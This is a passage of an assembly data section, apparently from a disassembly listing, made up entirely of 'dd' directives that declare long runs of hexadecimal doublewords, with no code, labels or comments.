		dd 2E89CD0Eh, 0C33280BDh, 0E0A821h, 17B067EEh, 0A4F703A9h
		dd 0C537FC07h, 5F6EA2A6h, 0E6E84340h, 8FC173h, 731F9B9h
		dd 6CE07A0Ah, 0C3C6E100h, 32F576CAh, 0FB6D0FFFh, 0A3C7958Ch
		dd 0F0A03C4h, 34F3D8A0h, 8C04E44Eh, 70D0AD7Fh, 9851C55Ch
		dd 23351E3Ch, 9A384E61h, 8A0573A0h, 1D070FABh, 34F509C2h
		dd 0B8997850h, 4EF90E48h, 0AFE10B33h, 80FA7239h, 0AE515A10h
		dd 2A99D96h, 0D30946DEh, 0D478C662h, 3322CE0Ah,	6300EC38h
		dd 0EEDE48FAh, 2A1F0C6Bh, 7498E31Ch, 66920F00h,	96D5DBBDh
		dd 0E4B0CBF9h, 0B4809C0Fh, 8AAD0563h, 7C82AC00h, 81EE1909h
		dd 6CE20078h, 0C8EA14E4h, 21FA503Dh, 39D2693Eh,	0B63E8076h
		dd 0A15C221Ch, 0AC3058A3h, 0E83CDB01h, 0C41F5979h, 0E607BC7Fh
		dd 0C58B01C4h, 646CE7E0h, 0EBB400ACh, 83DF1559h, 7C1F9D9Ah
		dd 41C2ED0Dh, 6882EF90h, 0ADC988h, 118E5FB3h, 0CB72B4FFh
		dd 336E4E00h, 936F02DCh, 4F40082h, 7769E3E9h, 2200D4EDh
		dd 609E2091h, 0FAD2872Bh, 505E6032h, 0B63365F3h, 2834A00Fh
		dd 60A409EEh, 9B81604h,	332BC456h, 9C116048h, 0EB877200h
		dd 0C8CC9919h, 562624EFh, 3390F44h, 0A87E6FE0h,	0B801C9FDh
		dd 4B01E6FCh, 79D83769h, 5AC360EBh, 348387D4h, 3D32B900h
		dd 0F809E191h, 0A2BB0014h, 77C7235Bh, 7600B3F6h, 5CCE335Ah
		dd 3DD7AEAh, 6CB463CAh,	0B8E8B72Ch, 0D51C9395h,	0EE8CF73Eh
		dd 62D026h, 0F5F3D79Ah,	60FAB371h, 0F97C4B00h, 0B78415F6h
		dd 2E690072h, 0B0F577E8h, 0BC3B7E25h, 88F90BD5h, 5BC90FCh
		dd 541E0FFFh, 8240A124h, 0BF124C32h, 43BA9C00h,	0B893B311h
		dd 0BE740034h, 8150547Dh, 9C14A95Fh, 80A8C025h,	2069ED2Bh
		dd 8F140092h, 6C89F217h, 9CBAC2C5h, 129BC900h, 0FFC32427h
		dd 667A003Eh, 7D2A1820h
		dd 0B5C4A2Fh, 0DA120171h, 9C788583h, 0ED15DBE0h, 0F21680DFh
		dd 8CB80034h, 0B9A31B12h, 36002D9Eh, 67C9E526h,	800C6Dh
		dd 94CF44D9h, 0CEE73331h, 37D7D50Eh, 6EA02721h,	1A59B160h
		dd 3C4209FCh, 1040B472h, 58071694h, 0E2C41996h,	17C03B70h
		dd 0AAAE0FC8h, 5DA0BADFh, 0B73C63FBh, 0D4202F60h, 60F1F986h
		dd 3AD11A3h, 0C4001A4Fh, 0ECD30A4Bh, 1685EBA7h,	80D984D7h
		dd 0D6A2F804h, 1E0C885Dh, 1540DCE0h, 594E1F55h,	0C4E80085h
		dd 11DA9664h, 0EF0074E5h, 0D921CD39h, 30D80BCCh, 0BF110C48h
		dd 0AA00189Dh, 0BA67B017h, 2B5FB9h, 4E8B26ACh, 63467810h
		dd 0D2ECF65Fh, 8F55ED03h, 4AC0F71Ah, 0D7609139h, 450F8B49h
		dd 0FDEE0044h, 51D80527h, 340059CFh, 17D59C84h,	1E972F5h
		dd 0FE5673B9h, 0D4DF8777h, 1F194CCCh, 53A66EB7h, 0E2C18820h
		dd 639A02F6h, 0C35504A5h, 0D03B4061h, 1326358Fh, 470034C2h
		dd 862E5882h, 0FAB2FEADh, 286C00B1h, 6A01E31Ah,	531D8D59h
		dd 0B89D2Ah, 40A95DAFh,	0A6997h, 0A43D2D0Eh, 1A35F70Bh
		dd 301C6400h, 0B98E813Fh, 9B48046Ah, 0D2B88242h, 3452FA78h
		dd 76C15C00h, 37317D2Eh, 92C3009Dh, 4383DDFFh, 2613A0E5h
		dd 0FB00AEBEh, 286D66F0h, 0E0F101B6h, 5D9BE27Ah, 5C4120A6h
		dd 6920AD03h, 125E8A81h, 0D50641h, 0D7A5BFB7h, 9C26B18Fh
		dd 27005CEFh, 9080305Ah, 2E0F0F42h, 21134DA1h, 0D01EAD64h
		dd 93037DF2h, 2A730D34h, 7CF79851h, 1F82FEC0h, 84CB082Eh
		dd 0C02787A1h, 0E31139ECh, 98C30A16h, 8EC1AA03h, 8DF600D4h
		dd 59651F77h, 0B473A5C9h, 32B88F12h, 93E33400h,	90127AAFh
		dd 3C6800C8h, 6F20A7D8h, 3D032E30h, 6BB9CA79h, 8C17B9C5h
		dd 0AC024h, 6FFE7B36h, 21B2D414h, 0BAF7913Ch, 86CE004Dh
		dd 693BE82Dh, 0F64403D6h, 6015AA3Dh, 74789698h,	671ADE00h
		dd 0E77B91C7h, 6C583D7Fh, 77F63184h, 0BC00F37Ah, 0BD058680h
		dd 267FF4B0h, 10F74880h, 0C6F901CFh, 1CBEC823h,	0AD15F017h
		dd 68401091h, 20745EBh,	0E9D734EFh, 84F06F81h, 14705312h
		dd 1094CD0Ch, 0B5390022h, 0D292CD35h, 6F4CA9FCh, 4DE247Eh
		dd 0EC179C04h, 80563205h, 0D5DCFDB0h, 0DBD4CE00h, 5B1611D1h
		dd 2763Dh, 0DAD656D7h, 4FE165B8h, 0F71BEB00h, 9B1D536h
		dd 858927C9h, 0A400E08Fh, 4E5FE76Fh, 0FDB0B960h, 3CAE94CCh
		dd 6C874C3Ch, 5A5CCDh, 2DDB4F8Ch, 8706E8C0h, 0BDF5ADh
		dd 7951C129h, 4F265536h, 0CB13FA00h, 0C99A1F90h, 6573DBh
		dd 0CE66E80Dh, 0ADE0586Fh, 23625C98h, 781E5E34h, 61CA008Ch
		dd 0FE215D35h, 0B6001BBFh, 3766A7DFh, 0E6B1FA53h, 387EEADCh
		dd 0B9A636D0h, 42203A8h, 28B030CFh, 89015A4h, 0D300927Ch
		dd 0AE210A09h, 50954BC1h, 2C3E3ACh, 8BC51FFBh, 3060542Fh
		dd 8C007FF7h, 9DC1C84Eh, 1DB74CF5h, 8092E330h, 0C05B1489h
		dd 4E0BBC8Ah, 0E4B0610Bh, 19A072C4h, 29F21CE3h,	70DA711Fh
		dd 85003154h, 8C13A8A6h, 1226CDh, 3364F86Ch, 70FB97DBh
		dd 1FD8874Dh, 0B3C0DD4Eh, 6FF15239h, 603B0033h,	0AD444DFEh
		dd 0A907A6E9h, 0BD5A22A8h, 0F06BC6E0h, 0A5420060h, 0C412757h
		dd 0C5001B10h, 31512366h, 0EB7A53h, 3587ABB9h, 2BFD5433h
		dd 90E9A512h, 86A67800h, 0EADF9E51h, 0B8E600A3h, 0D3D62B80h
		dd 96007347h, 76627A0Fh, 0B815096Eh, 0FA9F3BB4h, 7F3C0078h
		dd 1A787E82h, 20052C3h,	1EE0A085h, 1DCF73Dh, 0A96C986Ah
		dd 83BA2520h, 0D3B15C18h, 30ABB878h, 0DA6416A1h, 5FF4C002h
		dd 0C07931A5h, 505CAE00h, 127C7A01h, 325A052Ch,	90DB6A9Ah
		dd 9E2E4C58h, 0E23F9602h, 6059422Bh, 13408EF4h,	0E4FEC15h
		dd 9209880h, 51C553E2h,	999C2503h, 80555890h, 94A92978h
		dd 1F060E68h, 0F4C18199h, 2B00ACF4h, 9EEF01FFh,	614C57C8h
		dd 0C07921FBh, 533980AAh, 554754B2h, 5A5B3A6Ah,	2A78450Ah
		dd 0CD57002Ch, 0BD1E3FBh, 0DA620D1Dh, 0FC972F00h, 1C581795h
		dd 0C3E5356Fh, 9B02ABE6h, 0EAB872D0h, 443B7C03h, 0E0A5A25Eh
		dd 10E3C0h, 0A794E9F5h,	8EF2B0EFh, 43053E2h, 0BA54A8A6h
		dd 71E73BFBh, 89AF6183h, 0ABC8B9D3h, 51145B9Bh,	30606B2Dh
		dd 61752063h, 0BA5728CAh, 0B87B6E0Ch, 1FEE3A1h,	6D75DCCDh
		dd 3954E058h, 5A25004Eh, 2279E464h, 2937CC5h, 0F7F01E61h
		dd 0BCC09767h, 0B3B00ABAh, 0B43D0900h, 0A00D8512h, 8432038Bh
		dd 0DC9C46A3h, 9A75E8B0h, 0F2F8E0E0h, 6814A00h,	0AFBB7811h
		dd 502639C1h, 1EC57A00h, 4B03535Dh, 4CE14D03h, 0D81DC6ACh
		dd 94E3C21Bh, 2BF20248h, 0B890DAE9h, 3B1F7D88h,	549E5553h
		dd 8EBB3BFh, 0ED2112CCh, 3EA40075h, 23DC0FD0h, 154D97E4h
		dd 0C4CA003Ch, 1023A26h, 25600E95h, 86C0173Eh, 0BFC6D5C7h
		dd 0B8A6DD2Ch, 4A125F80h, 73581151h, 31277959h,	7569DED7h
		dd 0B3282454h, 19522B00h, 0C855117Bh, 0E6BE0064h, 204AA151h
		dd 130271Ch, 5D748106h,	9861F4F1h, 0E38106EFh, 71FAC103h
		dd 974C580Fh, 0B4E7E063h, 0CB9F7926h, 40A05208h, 0C59754B7h
		dd 0D6506900h, 0AF8A18F9h, 0EA1E164Ch, 0DB8443C1h, 311825A6h
		dd 9B791A01h, 0F2143B7Bh, 425AB180h, 0B70CA26Ah, 0D1414A00h
		dd 0AFF30992h, 0C7BD3090h, 336A46E1h, 8FA1600h,	42FFDEA2h
		dd 0C0064EA3h, 0D1CBC1FCh, 0D9683806h, 14C1E6ABh, 6819E382h
		dd 79974E80h, 458C3761h, 97773027h, 4BC9BE03h, 0D0F2D4D5h
		dd 338909Dh, 0C2DAEC7Eh, 40DF609Bh, 0A0FB5D71h,	0F4835F03h
		dd 0E8D9DEFh, 3854A8F1h, 7FAEC0A0h, 0D8075F57h,	5133A062h
		dd 0DDE621F0h, 0C16B7F07h, 0D4DFBFD8h, 624AD1EFh, 9F037CA8h
		dd 0ACF2D3Fh, 822ABB8Eh, 0D39CA00Fh, 0FA8F5BCh,	0FE568369h
		dd 0F0F43FE0h, 6E07B32Ah, 874696D8h, 2028DCB2h,	0C21964A8h
		dd 7B11DB60h, 0E3221Dh,	66C62720h, 0AC9B3D15h, 76190400h
		dd 0B2E76528h, 69CA5C08h, 61AEE12h, 0E0AAABB8h,	0E7CEBF25h
		dd 0C212FEFCh, 4844E101h, 5A00D8CDh, 64DD71ABh,	0C0027379h
		dd 25C7A96Fh, 1B44047h,	0D7BF03BEh, 725E5AEEh, 0AC2922h
		dd 18FAE427h, 1AE0E652h, 0DFE7BC05h, 818891Dh, 0E26E09h
		dd 22A19AE4h, 68A78162h, 0B082920Fh, 0A974C0D4h, 727FB541h
		dd 0DA650045h, 8E0B3475h, 70E17A5h, 7FC34EB4h, 6864980h
		dd 7DBBC21Ch, 0DE2500CEh, 1352FC68h, 0C60064DCh, 0D41F47F5h
		dd 10CBBA2h, 0CBC58AB4h, 0C01A569Dh, 0CD00C1ECh, 6C55C4F0h
		dd 7DAC2FEAh, 837E1E72h, 0D3E40Ch, 7971D659h, 0C33E8F44h
		dd 0A41700B5h, 0CAA378AEh, 2E19007Bh, 0A808DE68h, 0F7005ABCh
		dd 2B0C84Dh, 89E799h, 0AD271AFBh, 6D761C0Bh, 0E4182405h
		dd 50C09C85h, 0BABBB3h,	0C34612F9h, 5F80A51Ch, 4F3BED03h
		dd 0A0BD66F8h, 9B7BC0h,	3A8C37C9h, 0EDF9AE42h, 0CFE27800h
		dd 7538552Ah, 6EE43B35h, 49C76B00h, 3183D7Ch, 0CF0D6C0Eh
		dd 0C8C600E2h, 0BA94Ch,	0FB75D621h, 6A637F46h, 61604F14h
		dd 0B14E07FFh, 81D15524h, 6630947Ch, 254C0031h,	4F482379h
		dd 7E010FBAh, 42BC8789h, 0CB4086F1h, 32DF305h, 0B1C7EFE7h
		dd 37A8C452h, 42002A5Ch, 71530A4Dh, 0FE5B6Eh, 7222C165h
		dd 0AF0F1855h, 4FF1E600h, 0E4E76970h, 386EC0CFh, 1B251390h
		dd 0BBC8916h, 0FE3C1Ch,	0A0C78F65h, 0A21641h, 0BDCAB7B6h
		dd 0AAC55878h, 1EB2E609h, 966C0379h, 6D98077h, 221100A7h
		dd 35046A20h, 61001B30h
		dd 376387C6h, 181FF41Dh, 112A7146h, 7E030335h, 7657934Dh
		dd 0BEF351h, 0A3DB581h,	3F792BA2h, 0A0311E00h, 633CE4D7h
		dd 560600E5h, 7ADF6FBFh, 99001191h, 5AF53FD2h, 4DAD2DA6h
		dd 872988EFh, 0F5EA004Ch, 74512ABFh, 1D32090Bh,	0E51C00E9h
		dd 0E4A8A1h, 4B45B1F1h,	5E90D152h, 0BF00FC70h, 0BD65F6F0h
		dd 8EE4C0h, 8C612271h, 6A4CD8A8h, 3F310A00h, 5007133Ah
		dd 129D0028h, 0AAEDDFC2h, 0F61EEB9h, 0F12F7868h, 0B7B2C8F7h
		dd 0ED580035h, 3F6B60D2h, 2100D56Eh, 0FA3D49CAh, 79BB2BF6h
		dd 949C02FBh, 739375DEh, 8AABA180h, 1F073B91h, 0BE68F655h
		dd 0B0DD8010h, 3C3D2D4Fh, 13E63880h, 5000845Fh,	6C20730Eh
		dd 5819EDEh, 1F04B279h,	0F1B04075h, 281B64B0h, 0A3F6C100h
		dd 0BB71B65Ah, 0A487182Fh, 18653827h, 406FFE00h, 0E512288Bh
		dd 9D730FFh, 0B9909140h, 7600C273h, 6B28860Eh, 17B10B01h
		dd 0E5646F1h, 48D86615h, 3A0A70A3h, 0C8C141F2h,	63284340h
		dd 0C9A41C05h, 12578753h, 0E3B3D0DDh, 9D06D535h, 144B1C02h
		dd 9A14C7D9h, 947303CFh, 127231A8h, 0AB235300h,	69F20281h
		dd 0C85612AAh, 0B16840C4h, 28E1C0D3h, 9F02A3E2h, 925CC381h
		dd 3D284078h, 0E0D4001Ch, 0F94F7D38h, 6E0F4B36h, 6188D92Dh
		dd 45AF03D6h, 779DC34h,	193BF95Eh, 50E2D2EDh, 86389E83h
		dd 12F47904h, 55405FA7h, 7627BB6Eh, 34644124h, 0B422B982h
		dd 0C8ACA059h, 901348EDh, 1BA50F3Ch, 0D420401Dh, 80B809AAh
		dd 97641100h, 257B0A68h, 4A650992h, 0A8806A37h,	0CEFA5E26h
		dd 1C0EC4ACh, 813C9DBAh, 920D37BBh, 0F32326C4h,	0FC43F0E8h
		dd 26697EF7h, 777BA57h,	104D8A0Eh, 0EA277050h, 46EF6400h
		dd 6CA30BACh, 0D7A61566h, 0B884D051h, 6504A09Dh, 80DB1209h
		dd 2DD80276h, 0E4C8E0C5h, 90086005h, 0AE96F5BBh, 9907BCEEh
		dd 0B21C9DA4h, 307C36h,	26F31F15h, 8C734EE1h, 6B803C50h
		dd 0EB27B200h, 0F6B5BD63h, 4AED5E26h, 0A3389C50h, 0E86904A8h
		dd 11DC80E4h, 0B4928B95h, 0C26CD904h, 0A9C015CCh, 7B7B3F8h
		dd 90EC3676h, 836AE196h, 6BB87475h, 6DD45302h, 66784D49h
		dd 16190E08h, 0E69F58Eh, 0C3ACA8A2h, 8CFC9C60h,	0E4F4A000h
		dd 78FD4406h, 0B30C1CD9h, 1CF2C15Eh, 800E11AAh,	3E1F4848h
		dd 9B30E24Eh, 7AA40898h, 50ACB05Ah, 0AEA61D49h,	72474CB9h
		dd 4A481F99h, 98A129C0h, 5CE8DCA0h, 0D7D0F602h,	0E1EBD248h
		dd 705425CDh, 3010F489h, 495B5C95h, 0C0148456h,	5724B82Dh
		dd 0E6090008h, 2B012A79h, 3D747E00h, 17C59BE1h,	4BF72AFh
		dd 0A0CB48FFh, 6864904Eh, 88000EF2h, 0B1C8870Dh, 3E88609h
		dd 361EA8F3h, 0C0CCCEDFh, 32FF8A27h, 896D9E3Dh,	800A3849h
		dd 85E59038h, 0ED080095h, 9C529214h, 0FE7729F6h, 0E626BF7Bh
		dd 0D81D94E3h, 90D9740h, 0FA75D974h, 46FD3A96h,	94AA9E8Fh
		dd 70295360h, 2F0038EDh, 4960A150h, 1F9EBD9h, 0B22647AFh
		dd 50BC370Ch, 0F2EA8B8Ch, 1401BA7Eh, 0E4A1D717h, 0B4423CDDh
		dd 57006089h, 942D4D28h, 0D3FEE500h, 0F7545BF0h, 79EFFD0Ah
		dd 0F8080DDh, 421B7FF6h, 0F39E466h, 79C8844Eh, 726CC100h
		dd 9979554Ah, 45ABAC0Eh, 8A524671h, 53B80E59h, 2208FD7h
		dd 92984FB3h, 6BFFEF02h, 0E01FD6A1h, 0A91634h, 8D0AFBEDh
		dd 0F9D5977Dh, 72E07C1Eh, 6517F000h, 1CC95B78h,	5211189Fh
		dd 14250033h, 0FB139D7Ah, 0FA67CE00h, 47BA62E7h, 0B2A62425h
		dd 0A56C0070h, 6657CF05h, 4A957B3Bh, 49F1F00Fh,	1E308027h
		dd 9837E38Bh, 6A590E68h, 0AE8689A7h, 0BB72F824h, 1DFA9B01h
		dd 113478AAh, 92F04190h, 0DA435070h, 4EFC0075h,	0F92FC56Bh
		dd 51126D73h, 2C0CF39Dh, 74D74136h, 4EF70001h, 0E5555AD0h
		dd 7700B88Eh, 57A0BF0Fh, 17ED30h, 25055F1Ch, 0B1F0F5C2h
		dd 9454361Eh, 0CE357AC1h, 0C04078A5h, 7C137305h, 504E7D2Dh
		dd 771C301h, 0C654DBBEh, 534CD2B3h, 8038F069h, 13FB6978h
		dd 0B2C3E74Eh, 7245099Ch, 0ECA027ADh, 0B010D64Dh, 1D0CB874h
		dd 296F81A7h, 75D8020Ah, 0B25A4CE2h, 0C989F0A1h, 0D050DE6Ah
		dd 0CCC1EB5Eh, 6436785Ch, 15FDA501h, 0D4BBB73Ch, 0B802F0E9h
		dd 8322655Fh, 5C1C58FEh, 0FF173C6Bh, 0D16100E7h, 6ADD6FE1h
		dd 0EEC28400h, 7210BAD8h, 0E090997Eh, 0D81016A5h, 1D9437E9h
		dd 555658CEh, 0B8E80840h, 0B8B274BBh, 0F367090Ch, 0BCA513BAh
		dd 69A46172h, 36A42489h, 0B430514Ch, 5329F800h,	9202A678h
		dd 7E0E0018h, 2B63B15Ah, 0DD0050CBh, 0C3F8F1D6h, 3EAE41h
		dd 9C512471h, 0AF3F4556h, 8A8A424h, 40F7F242h, 60772C34h
		dd 0AFF55114h, 9C9B275Ch, 40A17B0Fh, 15585417h,	0FCD206DDh
		dd 0E0A6CFE4h, 0CC62182Ah, 0DB897002h, 60761AE2h, 2628B380h
		dd 0BFDC1FA7h, 0AF3D958Eh, 4A9E0077h, 6214F6Bh,	8104A5E4h
		dd 2BABB60Dh, 5A9E0890h, 95DA3BFAh, 9FA93980h, 0AC384EBh
		dd 3C7B4500h, 16579D76h, 0FFEA009Ah, 0CDF955B9h, 0AB00E2B2h
		dd 8807B370h, 3B4A03h, 8590A351h, 1225D265h, 35C4D4A0h
		dd 74220F84h, 0F5003759h, 7D4C01D1h, 0E5D37B00h, 0B7EEE0AEh
		dd 63C9143h, 0A0391863h, 0AFB5F700h, 0C4562234h, 86EF0F23h
		dd 0A0E00D5Ch, 76DE68D3h, 582C2133h, 23F5C06Dh,	20D0018h
		dd 74D39006h, 0C3009938h, 21F2C93Dh, 68DD37h, 32ED20C5h
		dd 0D0300604h, 0F3001EF2h, 0DC5C565Dh, 6040A8h,	0E5F5B8E2h
		dd 228DEB67h, 0F41EADE6h, 0A340DECEh, 0CDBE09FDh, 0A815005Fh
		dd 0E902E1BFh, 6E009782h, 0FB555386h, 189E4A4h,	81F88AD5h
		dd 9CFF7845h, 0BB0E1480h, 2F5DC0C5h, 2D9060E0h,	5081365Eh
		dd 0F7AC87E8h, 23FA9EB0h, 0AD386178h, 0A285805Eh, 0AF8277DBh
		dd 0C73103D7h, 9EE76AD3h, 985D64E0h, 958CD401h,	0EA9BDC36h
		dd 7FFA270h, 242AF8C6h,	54077255h, 6AF01CC0h, 5C63BA16h
		dd 0FEF90Bh, 0A313100Ch, 0CE4244E6h, 45BB3Dh, 0AF9A4823h
		dd 507F1D06h, 6FD035h, 39C52B8Ah, 2DAD6D24h, 0E513CB7Dh
		dd 0FC00A966h, 0F7DBA0C1h, 0EAB00F4h, 0CF3DED03h, 0A70014F6h
		dd 0CAB8F162h, 396AA11Ah, 0F0002982h, 0D24AECD6h, 421C8198h
		dd 0AD8097D8h, 0E39A443Ch, 95D51809h, 319498CAh, 8E3DD479h
		dd 22639EE0h, 0D3F87240h, 6D18A9h, 0A5F966CAh, 0ED78395Dh
		dd 0D443650Ah, 21E90C5h, 6170A2C3h, 31E0A07Fh, 3FF81C2Ch
		dd 949B817Ch, 20D1DCD4h, 25097859h, 8032F6E4h, 0D727C45Eh
		dd 6869001Fh, 6E0AEAFBh, 0FC00C245h, 6CA10DA0h,	5012AE29h
		dd 907FB4C0h, 0B0D4E819h, 0CC211E7Ch, 0EED1C184h, 7117AD96h
		dd 0B6AFF400h, 5F8A9B1Ch, 0B8DEE401h, 0C544A98h, 0A0D40A80h
		dd 1A050030h, 6179A4E4h, 71135352h, 0AC00F61Fh,	0A9F77073h
		dd 3CFDEA1Ch, 0FC8676D3h, 11727BD6h, 3FB809C0h,	7CCDA602h
		dd 0F3AC00BEh, 0CFE80FB4h, 10006AA0h, 0C650ADD7h, 38DCBB91h
		dd 0DE0975C4h, 0B896AC6Dh, 0EEBEDD00h, 8C4A3AA5h, 0C070FE16h
		dd 7BD0B2A8h, 7F00ABE0h, 0FD4993EFh, 64F302h, 0F1617A44h
		dd 0D8D73E55h, 807DE03Ah, 93DCBFC9h, 0FB541Fh, 6251882Ah
		dd 3CF999DEh, 0A45473Eh, 885B2016h, 1CF03616h, 43C900CBh
		dd 45C7EE37h, 0BE09F039h, 85EF3E46h, 41F85C4h, 9E401041h
		dd 6CF0274Bh, 0A290071h, 53D56D68h, 0D4737869h,	0CB6B3B00h
		dd 59E6BBDDh, 129B00FAh, 0A15199C2h, 8D02E3F2h,	81D3A458h
		dd 4215C0F4h, 7DF109A5h
		dd 740FD7E5h, 0AA149F20h, 5B00A74Bh, 5E33EF6Fh,	98BE1C3Eh
		dd 29681F6Dh, 4E705325h, 55E8EE40h, 807A6502h, 944040ACh
		dd 26DC3D02h, 1F91007Eh, 0ABE58AA6h, 0CBEAE4B3h, 0AFD7C700h
		dd 0B9C3130Bh, 0D6100A0Ah, 230803B8h, 1D2604h, 251E67EBh
		dd 307DFDCh, 89F5E926h,	0D0419910h, 11FEE4Ah, 2AC7B49h
		dd 86DBAA11h, 0CA8168D0h, 0CB0C0990h, 60602FF3h, 0D249598h
		dd 57000F87h, 48734B1Ch, 82FA00C3h, 0F4F890Ch, 0C80FC518h
		dd 96881B44h, 51B75804h, 7988E0h, 5DB30ABDh, 42C31A0Dh
		dd 0B5087F01h, 0C2190E5Bh, 0B61E5D0h, 682E7577h, 6769EC60h
		dd 0BE0211B0h, 0FEC3A8AAh, 6280F901h, 0AD11AAC2h, 43F5A0F3h
		dd 0A220CCB5h, 77070418h, 3BCD272Eh, 7F7BE980h,	0DF8B006Ch
		dd 0CC3E95FAh, 0A505BDC9h, 52B2652Dh, 25797CC0h, 65A0013h
		dd 7ECD2AFFh, 961DDAF4h, 0DC407860h, 0FA8D7792h, 6A3C48CAh
		dd 8662480Fh, 0A9B77944h, 5A550034h, 0BA9E854h,	185113F5h
		dd 0EA5E077Ch, 1BBC5AEEh, 0FE1F1805h, 221CE9E0h, 721C9F00h
		dd 0EAB45763h, 54C9759Eh, 75297899h, 740695A9h,	1A05F0A7h
		dd 6AE598D4h, 52FAA0E4h, 405FA438h, 0A3B2C264h,	0F0016BF3h
		dd 0A2F7BBFBh, 94E4E856h, 4E6E0F16h, 0C5A92711h, 5E9C6B00h
		dd 0DD056203h, 0E62BF864h, 8002D8F3h, 2A554E3Bh, 1610C131h
		dd 69073B77h, 621E5A84h, 3AB0BDD7h, 13F8C1D3h, 0C00C7058h
		dd 2812BF88h, 0EBAECF00h, 0BBFAA9FEh, 0CFB2E8FFh, 278219C9h
		dd 0B7874E25h, 8036D5A5h, 64A0538Fh, 28411E30h,	0E66D395Fh
		dd 37270116h, 0A106BC87h, 0F0805564h, 0C28CEB38h, 725551A0h
		dd 10C36091h, 0E638EE17h, 4D5B0268h, 9E5399C1h,	1FB970F4h
		dd 3B02C96Fh, 502947D3h, 5CE50024h, 1B48155Bh, 0F6002A20h
		dd 5DB870CEh, 3B9868DEh, 11006F73h, 2715FCCDh, 0B9E66C13h
		dd 238CFE52h, 280E0054h, 0FF4BAECBh, 0E5A34486h, 4527E601h
		dd 6B6A0133h, 28B1CF8h,	5E617FD9h, 9080B18Eh, 49E7DD1Bh
		dd 2D36AB18h, 5FE38279h, 50E83007h, 61217797h, 58BBC047h
		dd 5603AB97h, 0FE11F519h, 0A4E0E040h, 0E2B80049h, 476E5FF6h
		dd 2F00AACBh, 83EA71EDh, 1C37DE8h, 2308B3D3h, 0D8265599h
		dd 7016A657h, 4C000EC0h, 1FA32B9h, 0BC59072Dh, 0FEE08612h
		dd 0F90679E0h, 0C009BF99h, 80FE4D9Fh, 0B7EA0C15h, 0B4721CD9h
		dd 0B9BA4001h, 0DC9E6BA9h, 37A86A00h, 48B6F405h, 0C087001Ch
		dd 0A073C790h, 1E162C3Bh, 0F1076586h, 918636CDh, 71170331h
		dd 0D2B2BCA1h, 398D100Fh, 0E0928F34h, 0CB04D9AAh, 1DA80098h
		dd 0EC57F423h, 0E0003D36h, 0A08119F0h, 3B0363AFh, 6F80FF77h
		dd 8F1F17FEh, 0A7300C52h, 1E277066h, 677F5h, 49FD5DC7h
		dd 81EE9AD5h, 0E5EC244Fh, 7DCBB407h, 0C094F569h, 313B5A6Eh
		dd 0F7452F0Ch, 33EF1873h, 3C994088h, 5EF35600h,	461C2D11h
		dd 0FD740EC7h, 5520B010h, 0E918865Ch, 0AE02BD75h, 0C97E7714h
		dd 19F4C0F9h, 0C0600046h, 0DFC61035h, 3E0CABFEh, 1947C1A1h
		dd 0EE0B00EAh, 0A0AF2DA3h, 0B70BA609h, 930587h,	0A8920799h
		dd 0DB7701B8h, 8DFE6C32h, 7B99803Ch, 0BA2C6B60h, 0D1B50090h
		dd 11DC8171h, 602EBB4h,	586DD8Dh, 0D28DE0A3h, 155F1393h
		dd 322402A0h, 0E4C076C3h, 3A00B555h, 0DB96FD75h, 0E0DEA2A6h
		dd 1C827492h, 2FE62ADCh, 0E8655C40h, 6C7BBB00h,	3B01423Fh
		dd 9325035Dh, 0E51FD52h, 80383Fh, 0C5C1DFFBh, 0D7CE1A90h
		dd 807AA150h, 9B9F9920h, 0EC9E256Ch, 0D26601E0h, 3319BD43h
		dd 0C6E06A90h, 3F3618CEh, 0E66030A3h, 0C25C2F00h, 37FC52C5h
		dd 0CB4D0156h, 84BE863Dh, 0F31980C1h, 0A0798708h, 68DB64D0h
		dd 1822C07Dh, 7307C295h, 0C0A642DEh, 5682CF0h, 0BCCF7CBh
		dd 0A3E718BEh, 0EC33608Fh, 41C0D1ECh, 0B5C9F4E4h, 0BCF64C02h
		dd 4874A100h, 6C9EAD34h, 0EE396000h, 9F053F0Ah,	20AC0121h
		dd 233AB62Bh, 0FB9EFC98h, 0BE89031Dh, 79AF970h,	0B0A2E8E2h
		dd 4EDB0BD1h, 5A8E4C47h, 0DC665C40h, 6E056B51h,	9AB1FA23h
		dd 5BD9C40h, 0C99FFDFh,	61A4834Eh, 333A6758h, 89A700F4h
		dd 745E6332h, 88509707h, 8FF96401h, 7CC891C0h, 8F84A99h
		dd 0FA218017h, 56828FCFh, 0E1AB00A5h, 51F36C4h,	0F01EB309h
		dd 61C752D9h, 8CF6E333h, 2434661h, 92278FCEh, 35E130F0h
		dd 0CF980h, 59D1ED8Eh, 0BECF574Fh, 0E7092200h, 4C89DF40h
		dd 85C807F4h, 507BA696h, 0EF0B1D9h, 74AB531Fh, 1E350401h
		dd 0A4D0143Bh, 3DDC00A1h, 0F81AF4EDh, 360B180h,	7CA3E568h
		dd 380701AFh, 502C5A1Fh, 1AD8D015h, 0A9CA20C0h,	0B9627Ch
		dd 0E9BD2EA5h, 0BAED6EE8h, 0AB8F042Eh, 0AC467030h, 738130AAh
		dd 0D024E779h, 0F06DFD0Fh, 0C8981DF4h, 0C782EF08h, 0A00C1020h
		dd 86B9E756h, 0AC481301h, 0DCA98FFCh, 6C6B9C40h, 16577A8h
		dd 1266023Ah, 0C483393Fh, 0CFF0680Fh, 367FA500h, 4CA240C6h
		dd 970200A9h, 7C50F935h, 4F1F2410h, 0AC00B0FBh,	47688891h
		dd 76A4382Bh, 94CCE080h, 657C2870h, 3DB2C700h, 0B5261518h
		dd 1DBC0166h, 0CFD42B08h, 5348704Fh, 98033B71h,	0F79ACD2h
		dd 0E29AE0D0h, 0ED1C00C6h, 4CFDB4B9h, 765C5597h, 7DD23EBBh
		dd 7352C012h, 0F800791Eh, 7F6B9BF4h, 0CFDA07B2h, 40E265EDh
		dd 85F1F791h, 0DB9A721Fh, 0D84D1C03h, 63500FB3h, 9E8205h
		dd 1F8A3A91h, 9B00EF08h, 323398E1h, 30AE7920h, 5618B873h
		dd 0F8F5DABFh, 133C78CFh, 483C7551h, 27AA0092h,	0EF1188C2h
		dd 0FE30095h, 6EEEFEA3h, 554093CEh, 0C69B317Ah,	4CCFD8D8h
		dd 0FE000504h, 0FA4CF90Ah, 1852C3DEh, 0D824D75Dh, 3E2EE6B8h
		dd 6A00D927h, 0A01A44E8h, 1972303Dh, 85974B94h,	8C597E28h
		dd 0F7FF200h, 799AC5FAh, 5F9500D7h, 51822A94h, 9BF8778Fh
		dd 284CCF2Ah, 99372C1Bh, 0C008ED19h, 0D1C38341h, 0A905F75Eh
		dd 83897E52h, 44906037h, 3F5F06Ch, 273F42B8h, 5804F9E0h
